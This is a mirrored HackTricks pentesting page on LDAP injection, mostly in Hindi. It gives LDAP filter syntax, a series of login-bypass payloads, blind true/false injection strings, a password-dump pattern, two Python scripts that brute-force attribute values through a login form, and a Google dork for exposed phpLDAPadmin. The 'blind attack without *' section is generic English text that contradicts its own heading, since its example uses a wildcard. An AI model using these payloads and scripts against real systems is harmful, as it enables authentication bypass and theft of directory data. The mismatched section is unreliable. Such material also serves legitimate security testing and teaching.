mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-26 13:03:37 +00:00
277 lines
18 KiB
Markdown
277 lines
18 KiB
Markdown
# LDAP Injection
|
|
|
|
## LDAP Injection
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
|
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** का** अनुसरण करें।**
|
|
* **अपने हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को** **अपडेट** करें।
|
|
|
|
</details>
|
|
|
|
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
|
|
**बग बाउंटी टिप**: **Intigriti** में **साइन अप करें**, एक प्रीमियम **बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा बनाई गई है, हैकर्स के लिए**! आज ही हमारे साथ शामिल हों [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks), और **$100,000** तक की बाउंटी कमाना शुरू करें!
|
|
|
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
|
|
|
## LDAP Injection
|
|
|
|
### **LDAP**
|
|
|
|
**यदि आप जानना चाहते हैं कि LDAP क्या है, तो निम्नलिखित पृष्ठ पर जाएं:**
|
|
|
|
{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
|
|
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
|
|
{% endcontent-ref %}
|
|
|
|
**LDAP Injection** एक हमला है जिसका उपयोग किया जाता है **वेब** आधारित एप्लिकेशनों को उत्पन्न करने के लिए जो **LDAP** **विधान** का निर्माण करते हैं **उपयोगकर्ता** **इनपुट** पर आधारित। जब एक एप्लिकेशन **उपयोगकर्ता** इनपुट को सही ढंग से **सैनिटाइज़** नहीं करता है, तो स्थानीय प्रॉक्सी का उपयोग करके LDAP विधानों को संशोधित करना संभव होता है।
|
|
|
|
{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}
|
|
|
|
**फ़िल्टर** = ( filtercomp )\
|
|
**Filtercomp** = and / or / not / item\
|
|
**And** = & filterlist\
|
|
**Or** = |filterlist\
|
|
**Not** = ! filter\
|
|
**Filterlist** = 1\*filter\
|
|
**Item**= simple / present / substring\
|
|
**Simple** = attr filtertype assertionvalue\
|
|
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
|
|
**Present** = attr = \*\
|
|
**Substring** = attr ”=” \[initial] \* \[final]\
|
|
**Initial** = assertionvalue\
|
|
**Final** = assertionvalue\
|
|
**(&)** = पूर्णतः सत्य\
|
|
**(|)** = पूर्णतः असत्य
|
|
|
|
उदाहरण के लिए:\
|
|
`(&(!(objectClass=Impresoras))(uid=s*))`\
|
|
`(&(objectClass=user)(uid=*))`
|
|
|
|
आप डेटाबेस तक पहुंच सकते हैं, और इसमें विभिन्न प्रकार की जानकारी हो सकती है।
|
|
|
|
**OpenLDAP**: यदि 2 फ़िल्टर पहुंचते हैं, तो केवल पहला फ़िल्टर कार्यान्वित करता है।\
|
|
**ADAM या Microsoft LDS**: 2 फ़िल्टर के साथ वे एक त्रुटि फेंकते हैं।\
|
|
**SunOne Directory Server 5.0**: दोनों फ़िल्टर कार्यान्वित करते हैं।
|
|
|
|
**फ़िल्टर को सही सिंटैक्स के साथ भेजना बहुत महत्वपूर्ण है, अन्यथा एक त्रुटि फेंकी जाएगी। बेहतर है कि केवल 1 फ़िल्टर भेजें।**
|
|
|
|
फ़िल्टर का आरंभ होना चाहिए: `&` या `|`\
|
|
उदाहरण: `(&(directory=val1)(folder=public))`
|
|
|
|
`(&(objectClass=VALUE1)(type=Epson*))`\
|
|
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
|
|
|
|
फिर: `(&(objectClass=`**`*)(ObjectClass=*))`** पहला फ़िल्टर होगा (जो कार्यान्वित होगा)।
|
|
|
|
### लॉगिन बाइपास
|
|
|
|
LDAP कई प्रारूपों का समर्थन करता है ताकि पासवर्ड संग्रहीत किया जा सके: स्पष्ट, md5, smd5, sh1, sha, crypt। इसलिए, यह हो सकता है कि आप पासवर्ड में जो कुछ भी डालें, वह हैश हो जाए।
|
|
```bash
|
|
user=*
|
|
password=*
|
|
--> (&(user=*)(password=*))
|
|
# The asterisks are great in LDAPi
|
|
```
|
|
|
|
```bash
|
|
user=*)(&
|
|
password=*)(&
|
|
--> (&(user=*)(&)(password=*)(&))
|
|
```
|
|
|
|
```bash
|
|
user=*)(|(&
|
|
pass=pwd)
|
|
--> (&(user=*)(|(&)(pass=pwd))
|
|
```
|
|
|
|
```bash
|
|
user=*)(|(password=*
|
|
password=test)
|
|
--> (&(user=*)(|(password=*)(password=test))
|
|
```
|
|
|
|
```bash
|
|
user=*))%00
|
|
pass=any
|
|
--> (&(user=*))%00 --> Nothing more is executed
|
|
```
|
|
|
|
```bash
|
|
user=admin)(&)
|
|
password=pwd
|
|
--> (&(user=admin)(&))(password=pwd) #Can through an error
|
|
```
|
|
|
|
```bash
|
|
username = admin)(!(&(|
|
|
pass = any))
|
|
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
|
|
```
|
|
|
|
```bash
|
|
username=*
|
|
password=*)(&
|
|
--> (&(user=*)(password=*)(&))
|
|
```
|
|
|
|
```bash
|
|
username=admin))(|(|
|
|
password=any
|
|
--> (&(uid=admin)) (| (|) (webpassword=any))
|
|
```
|
|
#### सूची
|
|
|
|
* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
|
|
* [LDAP गुण](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
|
|
* [LDAP PosixAccount गुण](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
|
|
|
|
### अंधा LDAP हमला
|
|
|
|
आप यहां तक जांच सकते हैं कि क्या कोई डेटा लौटा जाता है और क्या कोई संभावित अंधा LDAP हमला की पुष्टि की जा सकती है, झूठी या सच्ची प्रतिक्रियाएं बलवान कर सकते हैं:
|
|
```bash
|
|
#This will result on True, so some information will be shown
|
|
Payload: *)(objectClass=*))(&objectClass=void
|
|
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
|
|
```
|
|
|
|
```bash
|
|
#This will result on True, so no information will be returned or shown
|
|
Payload: void)(objectClass=void))(&objectClass=void
|
|
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
|
|
```
|
|
#### डेटा डंप
|
|
|
|
आप एस्की अक्षरों, अंकों और प्रतीकों पर चरणबद्धता से चल सकते हैं:
|
|
```bash
|
|
(&(sn=administrator)(password=*)) : OK
|
|
(&(sn=administrator)(password=A*)) : KO
|
|
(&(sn=administrator)(password=B*)) : KO
|
|
...
|
|
(&(sn=administrator)(password=M*)) : OK
|
|
(&(sn=administrator)(password=MA*)) : KO
|
|
(&(sn=administrator)(password=MB*)) : KO
|
|
...
|
|
```
|
|
### स्क्रिप्ट
|
|
|
|
#### **मान्य LDAP फ़ील्ड्स खोजें**
|
|
|
|
LDAP ऑब्जेक्ट **डिफ़ॉल्ट रूप से कई एट्रिब्यूट्स** को संग्रहीत करता है जिन्हें **जानकारी सहेजने के लिए** उपयोग किया जा सकता है। आप उन सभी को **ब्रूट-फ़ोर्स करके उस जानकारी को निकालने का प्रयास कर सकते हैं।** आप [**यहां डिफ़ॉल्ट LDAP एट्रिब्यूट्स की सूची**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) पा सकते हैं।
|
|
```python
|
|
#!/usr/bin/python3
|
|
import requests
|
|
import string
|
|
from time import sleep
|
|
import sys
|
|
|
|
proxy = { "http": "localhost:8080" }
|
|
url = "http://10.10.10.10/login.php"
|
|
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
|
|
|
|
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
|
|
|
|
for attribute in attributes: #Extract all attributes
|
|
value = ""
|
|
finish = False
|
|
while not finish:
|
|
for char in alphabet: #In each possition test each possible printable char
|
|
query = f"*)({attribute}={value}{char}*"
|
|
data = {'login':query, 'password':'bla'}
|
|
r = requests.post(url, data=data, proxies=proxy)
|
|
sys.stdout.write(f"\r{attribute}: {value}{char}")
|
|
#sleep(0.5) #Avoid brute-force bans
|
|
if "Cannot login" in r.text:
|
|
value += str(char)
|
|
break
|
|
|
|
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
|
|
finish = True
|
|
print()
|
|
```
|
|
#### **विशेष ब्लाइंड LDAP हमला (बिना "\*")**
|
|
|
|
------------------------------------------------------------------------------------------------------------------------------
|
|
|
|
##### **Introduction**
|
|
|
|
LDAP (Lightweight Directory Access Protocol) is a protocol used to access and manage directory information services. LDAP injection is a type of attack that occurs when an attacker is able to manipulate an LDAP query in order to retrieve unauthorized information or perform unauthorized actions.
|
|
|
|
In a blind LDAP injection attack, the attacker is unable to see the results of their injected query directly. However, they can still infer information by using conditional statements and observing the behavior of the application.
|
|
|
|
This section will focus on a special type of blind LDAP injection that does not require the use of wildcard characters ("\*") in the injected query.
|
|
|
|
##### **Exploiting Blind LDAP Injection**
|
|
|
|
Blind LDAP injection can be exploited by injecting LDAP filter conditions that result in a true or false response from the LDAP server. By carefully crafting these conditions, an attacker can gather information about the LDAP server's data or perform unauthorized actions.
|
|
|
|
In the case of blind LDAP injection without wildcard characters, the attacker can use boolean-based techniques to infer information. These techniques involve injecting LDAP filter conditions that evaluate to either true or false, based on the behavior of the application.
|
|
|
|
For example, consider the following LDAP query:
|
|
|
|
```
|
|
(&(username=admin)(password=*)(cn=John))
|
|
```
|
|
|
|
In this query, the attacker is injecting the condition `(password=*)` to check if the password field is empty. If the application responds differently when the condition is true or false, the attacker can use this behavior to infer information.
|
|
|
|
The attacker can then proceed to inject additional conditions to gather more information or perform unauthorized actions.
|
|
|
|
##### **Preventing Blind LDAP Injection**
|
|
|
|
To prevent blind LDAP injection attacks, it is important to properly sanitize and validate user input before using it in LDAP queries. Here are some best practices to follow:
|
|
|
|
- Implement input validation to ensure that user input does not contain any malicious LDAP filter conditions.
|
|
- Use parameterized queries or prepared statements to separate user input from the LDAP query.
|
|
- Limit the privileges of the LDAP user used by the application to minimize the potential impact of an injection attack.
|
|
- Regularly update and patch LDAP server software to protect against known vulnerabilities.
|
|
|
|
By following these best practices, you can significantly reduce the risk of blind LDAP injection attacks.
|
|
```python
|
|
#!/usr/bin/python3
|
|
|
|
import requests, string
|
|
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
|
|
|
|
flag = ""
|
|
for i in range(50):
|
|
print("[i] Looking for number " + str(i))
|
|
for char in alphabet:
|
|
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
|
|
if ("TRUE CONDITION" in r.text):
|
|
flag += char
|
|
print("[+] Flag: " + flag)
|
|
break
|
|
```
|
|
### गूगल डोर्क्स
|
|
|
|
Google डोर्क्स का उपयोग वेबसाइटों और डेटाबेस की खोज के लिए किया जाता है। ये खोज शब्द संग्रह होते हैं जो गूगल खोज इंजन में उपयोग किए जाते हैं। इन डोर्क्स का उपयोग वेबसाइटों के विभिन्न अंशों को खोजने के लिए किया जा सकता है, जैसे कि वेबसाइट के नाम, फ़ाइलों के नाम, वेबसाइट के संरचना, और अन्य विवरण। ये डोर्क्स एक हैकर के लिए बहुत महत्वपूर्ण हो सकते हैं क्योंकि इनका उपयोग वेबसाइटों के विन्यास और सुरक्षा की कमजोरियों का पता लगाने में किया जा सकता है। इसलिए, एक अच्छा ज्ञान गूगल डोर्क्स के बारे में होना एक हैकर के लिए आवश्यक होता है।
|
|
```bash
|
|
intitle:"phpLDAPadmin" inurl:cmd.php
|
|
```
|
|
### अधिक Payloads
|
|
|
|
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
|
|
|
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
|
|
**बग बाउंटी टिप**: **Intigriti** में **साइन अप** करें, एक प्रीमियम **बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा बनाया गया है**! आज ही हमारे साथ शामिल हों [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks), और बाउंटी जीतकर **$100,000** तक कमाना शुरू करें!
|
|
|
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
|
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **अपने हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को**.
|
|
|
|
</details>
|